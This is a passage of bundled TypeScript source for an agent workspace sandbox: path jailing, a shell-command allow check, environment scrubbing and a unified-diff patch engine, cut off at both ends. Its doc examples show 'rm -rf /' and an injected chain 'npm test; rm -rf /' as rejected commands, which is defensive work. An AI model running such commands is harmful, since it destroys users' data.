simple.words.length > 0)\n .map((simple) => simple.words.map((word) => (word.dynamic ? word.raw : word.value))),\n };\n}\n","import path from \"node:path\";\nimport { realpath } from \"node:fs/promises\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport type { WorkspacePolicy } from \"../contracts\";\nimport { isInside, matchesAnyGlob } from \"./jail\";\nimport { resolveSpillDir } from \"../output/spill-dir\";\nimport { checkShellCommand } from \"./shell-check\";\n\n/**\n * The outcome of resolving a workspace-relative (or absolute) input path\n * against the jail — the canonical absolute location the backend should\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\n * the agent and tool results echo back.\n */\nexport interface ResolvedPath {\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\n absolutePath: string;\n /**\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\n * used in tool results so the agent always sees stable workspace paths.\n * Empty string when the resolved path IS the jail root.\n */\n relativePath: string;\n}\n\n/**\n * Resolve the canonical absolute form of `target`, collapsing any\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\n * so we realpath the deepest **existing** ancestor and re-attach the\n * non-existent tail — a symlinked ancestor still cannot smuggle the\n * path out of the jail, while genuinely new leaves stay creatable.\n */\nasync function canonicalize(target: string): Promise<string> {\n let resolvedTarget = path.resolve(target);\n const tail: string[] = [];\n\n // Walk up until an existing ancestor is found (or we hit the root).\n // eslint-disable-next-line no-constant-condition\n while (true) {\n try {\n const real = await realpath(resolvedTarget);\n\n return tail.length > 0 ? path.join(real, ...tail) : real;\n } catch (error) {\n const code = (error as NodeJS.ErrnoException).code;\n\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\n if (code !== \"ENOENT\") {\n throw error;\n }\n\n const parent = path.dirname(resolvedTarget);\n\n // Reached the filesystem root without finding an existing\n // ancestor — give back the lexically-resolved path unchanged.\n if (parent === resolvedTarget) {\n return path.join(resolvedTarget, ...tail);\n }\n\n tail.unshift(path.basename(resolvedTarget));\n resolvedTarget = parent;\n }\n }\n}\n\n/**\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\n *\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\n * existing ancestors collapsed so a symlinked directory cannot escape\n * the jail), then accepted **only** when it sits under `cwd` or one of\n * the `allowPaths` roots. A path that escapes, or that matches any\n * `denyPaths` glob even while inside `cwd`, is rejected with a\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\n *\n * Why this does not use `@warlock.js/fs`'s confined reader (`fs.confined`):\n * the two answer different questions. The confined reader refuses absolute\n * paths, refuses every symbolic link (or follows only links inside its one\n * root), requires the path to exist, and reads the file itself through a\n * no-follow, identity-checked open. This jail must instead accept absolute\n * paths inside `cwd`, several `allowPaths` roots, `denyPaths` globs, a\n * symlinked `cwd`, links whose target stays inside, and paths that do not\n * exist yet (`writeFile`, `mkdir`), and it returns a path that writes,\n * `exec`'s working directory and redirections use afterwards. Switching would\n * change what agents may touch, so the workspace keeps this resolver.\n *\n * @param policy - The bounding policy (its `cwd` is the jail root).\n * @param inputPath - A workspace-relative or absolute path to resolve.\n * @param access - `\"read\"` also accepts the `output.spillDir` directory (only\n * `readFile` asks for it); `\"write\"` (default) never does.\n * @returns The canonical absolute path plus its `/`-separated relative form.\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\n *\n * @example\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\n */\nexport async function resolveInJail(\n policy: WorkspacePolicy,\n inputPath: string,\n access: \"read\" | \"write\" = \"write\",\n): Promise<ResolvedPath> {\n const jailRoot = await canonicalize(policy.cwd);\n const requested = path.isAbsolute(inputPath) ? inputPath : path.join(policy.cwd, inputPath);\n const absolutePath = await canonicalize(requested);\n\n const insideCwd = isInside(absolutePath, jailRoot);\n const allowRoots = policy.allowPaths ?? [];\n let insideAllow = false;\n\n if (!insideCwd) {\n for (const root of allowRoots) {\n const canonicalRoot = await canonicalize(root);\n\n if (isInside(absolutePath, canonicalRoot)) {\n insideAllow = true;\n\n break;\n }\n }\n }\n\n const spillDir = access === \"read\" && !insideCwd ? resolveSpillDir(policy) : undefined;\n\n if (spillDir !== undefined && isInside(absolutePath, await canonicalize(spillDir))) {\n return { absolutePath, relativePath: \"\" };\n }\n\n if (!insideCwd && !insideAllow) {\n throw new WorkspacePolicyError(`Path \"${inputPath}\" resolves outside the workspace jail.`, {\n type: \"path-escape\",\n path: inputPath,\n });\n }\n\n // `denyPaths` is evaluated relative to the jail root and wins even\n // when the path is comfortably inside `cwd`.\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\n : \"\";\n\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\n if (matchesAnyGlob(relativeToJail, policy.denyPaths)) {\n throw new WorkspacePolicyError(`Path \"${inputPath}\" is blocked by the workspace deny list.`, {\n type: \"path-escape\",\n path: inputPath,\n });\n }\n }\n\n return { absolutePath, relativePath: relativeToJail };\n}\n\n/**\n * Whether a command line is permitted by the policy's `shell` sub-policy —\n * `checkShellCommand(policy, command).allowed`.\n *\n * In argv mode (the default) the command must tokenize into a single argv\n * (no unquoted `;`, `&&`, `|`, backticks, `$`, redirection, …): the backend\n * spawns it with no shell, and unquoted metacharacters were exactly how an\n * injected command chain used to ride past the allowlist. In shell mode\n * (`interpreter: \"sh\"`) every simple command in the line is checked. Each\n * argv's executable basename is matched against `shell.deny` (wins, case\n * insensitive) then `shell.allow` (exhaustive when non-empty), then\n * `shell.denyPatterns` and `shell.allowCommand`. An absent `shell` block\n * means no command may run at all.\n *\n * Returns a plain `boolean`; use {@link checkShellCommand} for the reason\n * and the model-facing message. Redirection targets are checked lexically\n * here; `exec` re-checks them with symlinks resolved.\n *\n * @example\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test; rm -rf /\"); // false\n */\nexport function isCommandAllowed(policy: WorkspacePolicy, command: string): boolean {\n return checkShellCommand(policy, command).allowed;\n}\n\n/**\n * Build the exact environment a spawned process receives — `process.env`\n * is **never** inherited wholesale. The result is\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\n * values override inherited ones on key collision.\n *\n * @example\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\n * // → { PATH: <process PATH>, CI: \"1\" }\n */\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\n const shell = policy.shell;\n const env: Record<string, string> = {};\n\n if (!shell) {\n return env;\n }\n\n for (const key of shell.inheritEnv ?? []) {\n const value = process.env[key];\n\n if (value !== undefined) {\n env[key] = value;\n }\n }\n\n if (shell.env) {\n for (const [key, value] of Object.entries(shell.env)) {\n env[key] = value;\n }\n }\n\n return env;\n}\n\n/**\n * Variables removed from the environment of a shell-mode (`interpreter`\n * other than `\"none\"`) command: each changes how the shell itself starts, parses or\n * resolves the line (`ENV`/`BASH_ENV` run a startup file, `SHELLOPTS` +\n * `PS4` can run command substitutions, `BASH_FUNC_*` imports functions that\n * shadow commands, `CDPATH` moves `cd`, `IFS` re-splits words).\n */\nconst SHELL_STARTUP_VARIABLES = new Set([\n \"ENV\",\n \"BASH_ENV\",\n \"SHELLOPTS\",\n \"BASHOPTS\",\n \"CDPATH\",\n \"IFS\",\n \"PS4\",\n \"GLOBIGNORE\",\n]);\n\n/**\n * The environment a command actually receives: {@link buildEnv}, minus the\n * shell start-up variables when the policy runs lines through a shell.\n * Compared case-insensitively, because Windows environment names are.\n */\nexport function buildCommandEnv(policy: WorkspacePolicy): Record<string, string> {\n const env = buildEnv(policy);\n\n if ((policy.shell?.interpreter ?? \"none\") === \"none\") {\n return env;\n }\n\n for (const key of Object.keys(env)) {\n const upper = key.toUpperCase();\n\n if (SHELL_STARTUP_VARIABLES.has(upper) || upper.startsWith(\"BASH_FUNC_\")) {\n delete env[key];\n }\n }\n\n return env;\n}\n","import { WorkspaceEditError } from \"../errors\";\nimport type { PatchHunk } from \"./parse-patch\";\n\n/** The text of a line without a trailing carriage return. */\nconst bare = (line: string): string => (line.endsWith(\"\\r\") ? line.slice(0, -1) : line);\n\n/** Same, and ignoring trailing blanks (a second, looser matching pass). */\nconst loose = (line: string): string => bare(line).trimEnd();\n\n/** Split file content into lines (carriage returns kept) and note the final newline. */\nfunction split(content: string): { lines: string[]; trailingNewline: boolean } {\n if (content === \"\") {\n return { lines: [], trailingNewline: false };\n }\n\n const parts = content.split(\"\\n\");\n const trailingNewline = parts[parts.length - 1] === \"\";\n\n if (trailingNewline) {\n parts.pop();\n }\n\n return { lines: parts, trailingNewline };\n}\n\n/** Whether most of the file's lines end in CRLF. */\nfunction usesCrlf(lines: string[]): boolean {\n const crlf = lines.filter((line) => line.endsWith(\"\\r\")).length;\n\n return crlf > 0 && crlf * 2 >= lines.length;\n}\n\n/** First index at or after `from` (searching outward from `expected`) where `old` matches. */\nfunction findMatch(\n lines: string[],\n old: string[],\n expected: number,\n from: number,\n normalize: (line: string) => string,\n): number {\n if (old.length === 0) {\n return Math.min(Math.max(expected, from), lines.length);\n }\n\n const last = lines.length - old.length;\n const wanted = old.map(normalize);\n const matches = (start: number): boolean =>\n start >= from &&\n start <= last &&\n wanted.every((line, offset) => normalize(lines[start + offset] as string) === line);\n\n for (let distance = 0; distance <= lines.length; distance++) {\n if (matches(expected + distance)) {\n return expected + distance;\n }\n\n if (distance > 0 && matches(expected - distance)) {\n return expected - distance;\n }\n }\n\n return -1;\n}\n\n/**\n * Apply a file's hunks to its content, in memory. Hunks are located by their\n * context (not only by line number, so a few lines of drift are fine), must\n * not overlap, and keep the file's line endings: untouched lines are\n * byte-for-byte as they were and added lines use the file's CRLF/LF style.\n *\n * Throws a `WorkspaceEditError` (`hunk-failed`) naming the first hunk whose\n * context is not in the file; nothing is returned in that case.\n */\nexport function applyHunks(content: string, hunks: PatchHunk[], displayPath: string): string {\n const { lines, trailingNewline: initialTrailing } = split(content);\n const wasEmpty = lines.length === 0;\n const eol = usesCrlf(lines) ? \"\\r\" : \"\";\n let trailingNewline = initialTrailing;\n let cursor = 0;\n let delta = 0;\n\n hunks.forEach((hunk, hunkIndex) => {\n const old = hunk.lines.filter((line) => line.op !== \"+\").map((line) => line.text);\n // For a hunk with no old lines `oldStart` is the line *after which* to insert.\n const expected = (old.length === 0 ? hunk.oldStart : hunk.oldStart - 1) + delta;\n let start = findMatch(lines, old, expected, cursor, bare);\n\n if (start === -1) {\n start = findMatch(lines, old, expected, cursor, loose);\n }\n\n if (start === -1) {\n const probe = old.find((line) => line.trim() !== \"\") ?? old[0] ?? \"\";\n\n throw new WorkspaceEditError(\n `Hunk ${hunkIndex + 1} of ${displayPath} does not apply: its context was not found in the file${probe === \"\" ? \"\" : ` (looked for a line like ${JSON.stringify(probe.slice(0, 80))})`}. Re-read the file and regenerate the patch.`,\n { type: \"hunk-failed\", path: displayPath, hunkIndex },\n );\n }\n\n const replacement: string[] = [];\n let consumed = start;\n\n for (const line of hunk.lines) {\n if (line.op === \" \") {\n replacement.push(lines[consumed] as string);\n consumed++;\n } else if (line.op === \"-\") {\n consumed++;\n } else {\n replacement.push(line.text + eol);\n }\n }\n\n lines.splice(start, old.length, ...replacement);\n cursor = start + replacement.length;\n delta += replacement.length - old.length;\n\n if (cursor >= lines.length) {\n if (hunk.newNoNewline) {\n trailingNewline = false;\n } else if (hunk.oldNoNewline || wasEmpty) {\n trailingNewline = true;\n }\n }\n });\n\n if (lines.length === 0) {\n return \"\";\n }\n\n // A final line that kept its \"\\r\" but now ends the file without a newline\n // is left alone; only the newline itself is toggled.\n return lines.join(\"\\n\") + (trailingNewline ? \"\\n\" : \"\");\n}\n","import { WorkspaceEditError } from \"../errors\";\n\n/** One line of a hunk: context (`\" \"`), removal (`\"-\"`) or addition (`\"+\"`). */\nexport interface PatchLine {\n /** What the line does. */\n op: \" \" | \"-\" | \"+\";\n /** The line's text, without its line ending. */\n text: string;\n}\n\n/** One `@@ … @@` block of a file's patch. */\nexport interface PatchHunk {\n /** 1-based first line in the old file (the line *after* which text is inserted when `oldCount` is 0). */\n oldStart: number;\n /** Number of old-file lines the hunk covers. */\n oldCount: number;\n /** The hunk body. */\n lines: PatchLine[];\n /** The old side ends without a trailing newline. */\n oldNoNewline: boolean;\n /** The new side ends without a trailing newline. */\n newNoNewline: boolean;\n}\n\n/** What a file's patch does to the tree. */\nexport type FilePatchKind = \"modify\" | \"create\" | \"delete\" | \"rename\";\n\n/** Everything a unified diff says about one file. */\nexport interface FilePatch {\n kind: FilePatchKind;\n /** Path before the change (`null` for a create). */\n oldPath: string | null;\n /** Path after the change (`null` for a delete). */\n newPath: string | null;\n hunks: PatchHunk[];\n}\n\n/** Longest patch text accepted, in characters. */\nexport const MAX_PATCH_CHARS = 2 * 1024 * 1024;\n\n/** Most files one patch may touch. */\nexport const MAX_PATCH_FILES = 200;\n\nconst HUNK_HEADER = /^@@ -(\\d+)(?:,(\\d+))? \\+(\\d+)(?:,(\\d+))? @@/;\n\nfunction invalid(message: string, path = \"\"): WorkspaceEditError {\n return new WorkspaceEditError(message, { type: \"patch-invalid\", path });\n}\n\n/** Unquote a git-quoted path (`\"a/with\\ttab\"`) and strip a trailing timestamp. */\nfunction cleanPath(raw: string): string {\n let value = raw.trim();\n\n if (value.startsWith('\"')) {\n const end = value.lastIndexOf('\"');\n const body = end > 0 ? value.slice(1, end) : value.slice(1);\n\n return body.replace(/\\\\([\"\\\\tn])/g, (_match, char: string) =>\n char === \"t\" ? \"\\t\" : char === \"n\" ? \"\\n\" : char,\n );\n }\n\n // `--- a/file.ts\\t2026-01-01 00:00:00` — the timestamp follows a tab.\n const tab = value.indexOf(\"\\t\");\n\n if (tab !== -1) {\n value = value.slice(0, tab);\n }\n\n return value.trimEnd();\n}\n\n/** `a/x` → `x`; `/dev/null` → `null`. */\nfunction stripPrefix(raw: string, git: boolean): string | null {\n const value = cleanPath(raw);\n\n if (value === \"/dev/null\") {\n return null;\n }\n\n return git && /^[ab]\\//.test(value) ? value.slice(2) : value;\n}\n\n/**\n * Parse a unified diff (plain or `git diff` style) into per-file patches:\n * modifications, creates (`--- /dev/null`), deletes (`+++ /dev/null`) and\n * renames (`rename from` / `rename to`). A binary patch, a copy, or text that\n * is not a diff throws a `WorkspaceEditError` (`patch-invalid` /\n * `binary-file`) naming the problem.\n *\n * A CRLF-wrapped patch is accepted: one trailing `\\r` is dropped from every\n * line.\n */\nexport function parsePatch(text: string): FilePatch[] {\n if (text.length > MAX_PATCH_CHARS) {\n throw invalid(`The patch is larger than ${MAX_PATCH_CHARS} characters; split it up.`);\n }\n\n const lines = text.split(\"\\n\").map((line) => (line.endsWith(\"\\r\") ? line.slice(0, -1) : line));\n const files: FilePatch[] = [];\n\n let current:\n | {\n git: boolean;\n oldPath: string | null | undefined;\n newPath: string | null | undefined;\n renameFrom?: string;\n renameTo?: string;\n isNew: boolean;\n isDeleted: boolean;\n hunks: PatchHunk[];\n }\n | undefined;\n\n const finish = (): void => {\n if (current === undefined) {\n return;\n }\n\n const state = current;\n\n current = undefined;\n\n let dashOld = state.oldPath;\n let dashNew = state.newPath;\n\n // A plain diff keeps its `a/` / `b/` prefixes (as `git diff --no-index`\n // and `diff -u a/x b/x` write them); drop them when both sides carry one.\n if (!state.git) {\n const oldOk = dashOld === undefined || dashOld === null || dashOld.startsWith(\"a/\");\n const newOk = dashNew === undefined || dashNew === null || dashNew.startsWith(\"b/\");\n\n if (oldOk && newOk) {\n dashOld = typeof dashOld === \"string\" ? dashOld.slice(2) : dashOld;\n dashNew = typeof dashNew === \"string\" ? dashNew.slice(2) : dashNew;\n }\n }\n\n let oldPath = state.renameFrom ?? dashOld;\n let newPath = state.renameTo ?? dashNew;\n\n if (state.isNew) {\n oldPath = null;\n }\n\n if (state.isDeleted) {\n newPath = null;\n }\n\n if (oldPath === undefined && newPath === undefined) {\n throw invalid(\"A file section of the patch names no file.\");\n }\n\n if (oldPath === undefined) {\n oldPath = newPath ?? null;\n }\n\n if (newPath === undefined) {\n newPath = oldPath;\n }\n\n const kind: FilePatchKind =\n oldPath === null\n ? \"create\"\n : newPath === null\n ? \"delete\"\n : oldPath !== newPath\n ? \"rename\"\n : \"modify\";\n\n // A section with neither hunks nor a structural change (e.g. a mode-only\n // change) has nothing to apply; skip it rather than touch the file.\n if (state.hunks.length === 0 && kind === \"modify\") {\n return;\n }\n\n files.push({ kind, oldPath, newPath, hunks: state.hunks });\n };\n\n const open = (git: boolean) => {\n finish();\n current = {\n git,\n oldPath: undefined,\n newPath: undefined,\n isNew: false,\n isDeleted: false,\n hunks: [],\n };\n\n return current;\n };\n\n for (let index = 0; index < lines.length; index++) {\n const line = lines[index] as string;\n\n if (line.startsWith(\"diff --git \")) {\n const section = open(true);\n const rest = line.slice(\"diff --git \".length);\n // Best effort for header-only sections (pure renames, mode changes):\n // `a/x b/y`. Refined by `---`/`+++`/`rename` lines when present.\n const split = rest.indexOf(\" b/\");\n\n if (rest.startsWith(\"a/\") && split !== -1) {\n section.oldPath = rest.slice(2, split);\n section.newPath = rest.slice(split + 3);\n }\n\n continue;\n }\n\n const startsPlainFile =\n line.startsWith(\"--- \") &&\n lines[index + 1]?.startsWith(\"+++ \") === true &&\n (current === undefined || (!current.git && current.hunks.length > 0));\n\n if (startsPlainFile) {\n open(false);\n } else if (current === undefined) {\n // Text before the first file header (a commit message, prose).\n if (line.startsWith(\"*** Begin Patch\")) {\n throw invalid(\n 'This is the \"*** Begin Patch\" format, not a unified diff. Send a unified diff (`--- a/file` / `+++ b/file` / `@@` hunks).',\n );\n }\n\n continue;\n }\n\n const section = current as NonNullable<typeof current>;\n\n if (line.startsWith(\"GIT binary patch\") || /^Binary files .* differ$/.test(line)) {\n const shown = section.newPath ?? section.oldPath ?? \"a file\";\n\n throw new WorkspaceEditError(\n `The patch changes a binary file (${shown}); binary files cannot be patched.`,\n { type: \"binary-file\", path: shown ?? \"\" },\n );\n }\n\n if (line.startsWith(\"copy from \") || line.startsWith(\"copy to \")) {\n throw invalid(\"Copies are not supported in a patch; create the new file instead.\");\n }\n\n if (line.startsWith(\"rename from \")) {\n section.renameFrom = cleanPath(line.slice(\"rename from \".length));\n continue;\n }\n\n if (line.startsWith(\"rename to \")) {\n section.renameTo = cleanPath(line.slice(\"rename to \".length));\n continue;\n }\n\n if (line.startsWith(\"new file mode\")) {\n section.isNew = true;\n continue;\n }\n\n if (line.startsWith(\"deleted file mode\")) {\n section.isDeleted = true;\n continue;\n }\n\n if (line.startsWith(\"--- \") && section.hunks.length === 0) {\n section.oldPath = stripPrefix(line.slice(4), section.git);\n\n if (section.oldPath === null) {\n section.isNew = true;\n }\n\n continue;\n }\n\n if (line.startsWith(\"+++ \") && section.hunks.length === 0) {\n section.newPath = stripPrefix(line.slice(4), section.git);\n\n if (section.newPath === null) {\n section.isDeleted = true;\n }\n\n continue;\n }\n\n const header = HUNK_HEADER.exec(line);\n\n if (header !== null) {\n const oldStart = Number(header[1]);\n const oldCount = header[2] === undefined ? 1 : Number(header[2]);\n let newCount = header[4] === undefined ? 1 : Number(header[4]);\n let remainingOld = oldCount;\n const hunk: PatchHunk = {\n oldStart,\n oldCount,\n lines: [],\n oldNoNewline: false,\n newNoNewline: false,\n };\n\n while (remainingOld > 0 || newCount > 0 || lines[index + 1]?.startsWith(\"\\\\\")) {\n const body = lines[index + 1];\n\n if (body === undefined) {\n break;\n }\n\n if (body.startsWith(\"\\\\\")) {\n const last = hunk.lines[hunk.lines.length - 1];\n\n if (last?.op !== \"+\") {\n hunk.oldNoNewline = true;\n }\n\n if (last?.op !== \"-\") {\n hunk.newNoNewline = true;\n }\n\n index++;\n continue;\n }\n\n if (remainingOld <= 0 && newCount <= 0) {\n break;\n }\n\n const op = body.charAt(0);\n\n if (op === \"+\" && newCount > 0) {\n hunk.lines.push({ op: \"+\", text: body.slice(1) });\n newCount--;\n } else if (op === \"-\" && remainingOld > 0) {\n hunk.lines.push({ op: \"-\", text: body.slice(1) });\n remainingOld--;\n } else if ((op === \" \" || body === \"\") && remainingOld > 0 && newCount > 0) {\n // An empty line is a context line whose single space was stripped.\n hunk.lines.push({ op: \" \", text: body.slice(1) });\n remainingOld--;\n newCount--;\n } else {\n break;\n }\n\n index++;\n }\n\n if (remainingOld > 0 || newCount > 0) {\n throw invalid(\n `Hunk ${section.hunks.length + 1} of ${section.newPath ?? section.oldPath ?? \"the patch\"} is truncated or its line counts in the @@ header are wrong.`,\n section.newPath ?? section.oldPath ?? \"\",\n );\n }\n\n section.hunks.push(hunk);\n continue;\n }\n\n // Anything else between sections (`index …`, `old mode`, `similarity index`, blanks) is ignored.\n }\n\n finish();\n\n if (files.length === 0) {\n throw invalid(\n \"The patch contains no file changes. Send a unified diff with ---/+++ headers and @@ hunks.\",\n );\n }\n\n if (files.length > MAX_PATCH_FILES) {\n throw invalid(`The patch touches more than ${MAX_PATCH_FILES} files; split it up.`);\n }\n\n return files;\n}\n","import { fs } from \"@warlock.js/fs\";\nimport { WorkspaceEditError } from \"../errors\";\nimport type { ApplyPatchFileResult, ApplyPatchInput, ApplyPatchResult } from \"../contracts\";\nimport { applyHunks } from \"./apply-hunks\";\nimport { parsePatch } from \"./parse-patch\";\n\n/** Largest file, in UTF-8 bytes, `applyPatch` will read and rewrite. */\nconst MAX_PATCH_FILE_BYTES = 10 * 1024 * 1024;\n\n/** The file operations the patch engine runs on; the workspace ops layer and the generic fallback each provide one. */\nexport interface PatchIO {\n /** Turn a patch path into a stable key plus a display path (and refuse a path outside the workspace). */\n resolve(inputPath: string): Promise<{ absolutePath: string; relativePath: string }>;\n exists(key: string): Promise<boolean>;\n stat?(key: string): Promise<{ type: string; size: number }>;\n /** Raw file content. */\n read(key: string): Promise<string>;\n /** Write content, creating parent directories. */\n write(key: string, content: string): Promise<void>;\n remove(key: string): Promise<void>;\n withLock<T>(key: string, task: () => Promise<T>): Promise<T>;\n display(key: string): string;\n}\n\nexport async function executePatch(input: ApplyPatchInput, io: PatchIO): Promise<ApplyPatchResult> {\n {\n const filePatches = parsePatch(input.patch);\n\n // Resolve every path through the jail first (symlinks, `..`, deny globs).\n const targets = await Promise.all(\n filePatches.map(async (filePatch) => ({\n filePatch,\n from: filePatch.oldPath === null ? null : await io.resolve(filePatch.oldPath),\n to: filePatch.newPath === null ? null : await io.resolve(filePatch.newPath),\n })),\n );\n\n const lockPaths = [\n ...new Set(\n targets.flatMap((target) =>\n [target.from?.absolutePath, target.to?.absolutePath].filter(\n (value): value is string => value !== undefined,\n ),\n ),\n ),\n ].sort();\n\n const run = async (): Promise<ApplyPatchResult> => {\n // Virtual tree: absolute path -> content (null = removed). Later file\n // patches see the result of earlier ones.\n const staged = new Map<string, string | null>();\n const original = new Map<string, string | null>();\n const results: ApplyPatchFileResult[] = [];\n\n const load = async (absolutePath: string, shown: string): Promise<string | null> => {\n if (staged.has(absolutePath)) {\n return staged.get(absolutePath) ?? null;\n }\n\n if (!(await io.exists(absolutePath))) {\n original.set(absolutePath, null);\n\n return null;\n }\n\n const stat = io.stat ? await io.stat(absolutePath) : undefined;\n\n if (stat !== undefined && stat.type !== \"file\") {\n throw new WorkspaceEditError(`\"${shown}\" is not a regular file; it cannot be patched.`, {\n type: \"file-missing\",\n path: shown,\n });\n }\n\n if (stat !== undefined && stat.size > MAX_PATCH_FILE_BYTES) {\n throw new WorkspaceEditError(\n `\"${shown}\" is larger than ${MAX_PATCH_FILE_BYTES} bytes; it cannot be patched.`,\n { type: \"patch-invalid\", path: shown },\n );\n }\n\n const content = await io.read(absolutePath);\n\n if (content.includes(\"\\0\")) {\n throw new WorkspaceEditError(\n `\"${shown}\" is a binary file; binary files cannot be patched.`,\n {\n type: \"binary-file\",\n path: shown,\n },\n );\n }\n\n original.set(absolutePath, content);\n\n return content;\n };\n\n for (const { filePatch, from, to } of targets) {\n const shownFrom = from?.relativePath || filePatch.oldPath || \"\";\n const shownTo = to?.relativePath || filePatch.newPath || \"\";\n\n if (filePatch.kind === \"create\") {\n const absolutePath = (to as NonNullable<typeof to>).absolutePath;\n\n if ((await load(absolutePath, shownTo)) !== null) {\n throw new WorkspaceEditError(\n `\"${shownTo}\" already exists; the patch cannot create it.`,\n {\n type: \"file-exists\",\n path: shownTo,\n },\n );\n }\n\n const content = applyHunks(\"\", filePatch.hunks, shownTo);\n\n staged.set(absolutePath, content);\n results.push({\n path: shownTo,\n action: \"created\",\n hunks: filePatch.hunks.length,\n hash: fs.hash.string(content),\n });\n\n continue;\n }\n\n const source = (from as NonNullable<typeof from>).absolutePath;\n const current = await load(source, shownFrom);\n\n if (current === null) {\n throw new WorkspaceEditError(\n `\"${shownFrom}\" does not exist; the patch cannot change it.`,\n {\n type: \"file-missing\",\n path: shownFrom,\n },\n );\n }\n\n const updated = applyHunks(current, filePatch.hunks, shownFrom);\n\n if (filePatch.kind === \"delete\") {\n if (updated !== \"\") {\n throw new WorkspaceEditError(\n `The patch deletes \"${shownFrom}\" but its hunks do not remove all of the file's content.`,\n {\n type: \"hunk-failed\",\n path: shownFrom,\n hunkIndex: Math.max(filePatch.hunks.length - 1, 0),\n },\n );\n }\n\n staged.set(source, null);\n results.push({ path: shownFrom, action: \"deleted\", hunks: filePatch.hunks.length });\n\n continue;\n }\n\n if (filePatch.kind === \"rename\") {\n const destination = (to as NonNullable<typeof to>).absolutePath;\n\n if (destination !== source && (await load(destination, shownTo)) !== null) {\n throw new WorkspaceEditError(\n `\"${shownTo}\" already exists; the patch cannot rename \"${shownFrom}\" onto it.`,\n { type: \"file-exists\", path: shownTo },\n );\n }\n\n staged.set(source, null);\n staged.set(destination, updated);\n results.push({\n path: shownTo,\n action: \"renamed\",\n oldPath: shownFrom,\n hunks: filePatch.hunks.length,\n hash: fs.hash.string(updated),\n });\n\n continue;\n }\n\n staged.set(source, updated);\n results.push({\n path: shownFrom,\n action: \"modified\",\n hunks: filePatch.hunks.length,\n hash: fs.hash.string(updated),\n });\n }\n\n if (input.dryRun === true) {\n return { files: results, dryRun: true };\n }\n\n // Commit. Anything that fails part-way is rolled back to the original state.\n const touched: string[] = [];\n\n try {\n for (const [absolutePath, content] of staged) {\n if (content !== null && content !== (original.get(absolutePath) ?? null)) {\n await io.write(absolutePath, content);\n touched.push(absolutePath);\n }\n }\n\n for (const [absolutePath, content] of staged) {\n if (\n content === null &&\n original.get(absolutePath) !== null &&\n original.has(absolutePath)\n ) {\n await io.remove(absolutePath);\n touched.push(absolutePath);\n }\n }\n } catch (error) {\n const failures: string[] = [];\n\n for (const absolutePath of touched.reverse()) {\n try {\n const before = original.get(absolutePath) ?? null;\n\n if (before === null) {\n if (await io.exists(absolutePath)) {\n await io.remove(absolutePath);\n }\n } else {\n await io.write(absolutePath, before);\n }\n } catch {\n failures.push(io.display(absolutePath));\n }\n }\n\n const reason = error instanceof Error ? error.message : String(error);\n\n throw new WorkspaceEditError(\n `Writing the patch failed (${reason}); ${failures.length === 0 ? \"every change was rolled back\" : `could not restore: ${failures.join(\", \")}`}.`,\n { type: \"patch-invalid\", path: \"\" },\n );\n }\n\n return { files: results, dryRun: false };\n };\n\n // Hold every touched path's lock (sorted, so concurrent patches cannot deadlock).\n const locked = lockPaths.reduceRight<() => Promise<ApplyPatchResult>>(\n (inner, lockPath) => () => io.withLock(lockPath, inner),\n run,\n );\n\n return locked();\n }\n}\n","import path from \"node:path\";\nimport { fs } from \"@warlock.js/fs\";\nimport { WorkspaceEditError } from \"../errors\";\nimport type { ApplyPatchInput, ApplyPatchResult, WorkspaceOps } from \"../contracts\";\nimport { executePatch } from \"./execute-patch\";\n\n/** Most lines the generic reader asks `readFile` for. */\nconst MAX_READ_LINES = 1_000_000;\n\n/**\n * Raw content of a file through `ops.readFile`, which returns numbered lines.\n * The numbering is stripped and the trailing newline restored by checking the\n * result against the file's hash, so the content is exact or the read fails.\n */\nasync function readRaw(ops: WorkspaceOps, filePath: string): Promise<string> {\n const result = await ops.readFile(filePath, { offset: 1, limit: MAX_READ_LINES });\n\n if (result.truncated || result.bytesCapped) {\n throw new WorkspaceEditError(\n `\"${filePath}\" is too large to read in full; it cannot be patched.`,\n { type: \"patch-invalid\", path: filePath },\n );\n }\n\n const lines =\n result.totalLines === 0\n ? []\n : result.content.split(\"\\n\").map((line) => line.replace(/^ *\\d+\\t/, \"\"));\n const joined = lines.join(\"\\n\");\n\n for (const candidate of [joined + \"\\n\", joined, \"\"]) {\n if (fs.hash.string(candidate) === result.hash) {\n return candidate;\n }\n }\n\n throw new WorkspaceEditError(`Could not read \"${filePath}\" exactly; it cannot be patched.`, {\n type: \"patch-invalid\",\n path: filePath,\n });\n}\n\n/**\n * `applyPatch` for a custom {@link WorkspaceOps} that does not provide its\n * own: the same engine and the same all-or-nothing behaviour, built on the\n * ops it does have (`exists`, `readFile`, `writeFile`, `remove`). Every\n * hunk of every file is checked in memory first; the writes then run, and if\n * one fails the ones already done are put back.\n */\nexport function applyPatchWithOps(\n ops: WorkspaceOps,\n input: ApplyPatchInput,\n): Promise<ApplyPatchResult> {\n // Keys are normalised relative paths; the ops enforce their own jail on each call.\n const chain = new Map<string, Promise<unknown>>();\n\n return executePatch(input, {\n resolve: async (inputPath) => {\n const key = path.posix.normalize(inputPath.replace(/\\\\/g, \"/\"));\n\n return { absolutePath: key, relativePath: key };\n },\n exists: (key) => ops.exists(key),\n read: 